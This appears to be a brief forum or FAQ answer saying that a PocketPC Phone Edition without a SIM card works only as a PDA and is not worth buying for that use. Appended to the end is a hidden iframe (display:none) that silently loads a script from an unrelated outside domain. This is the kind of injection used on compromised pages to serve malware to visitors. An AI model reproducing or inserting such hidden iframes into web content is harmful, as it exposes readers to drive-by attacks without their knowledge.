Yes, you can use the phone without a SIM card as a really cool looking PDA. None of the phone features will work without the SIM card. Given that there are more capable PDAs at better prices that are not phones, it would not be adviced to buy a PocketPC Phone Edition to use without a SIM card.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>